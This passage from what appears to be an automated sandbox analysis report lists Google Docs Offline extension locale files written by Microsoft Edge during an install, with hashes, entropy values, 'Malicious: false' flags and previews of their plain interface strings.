Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
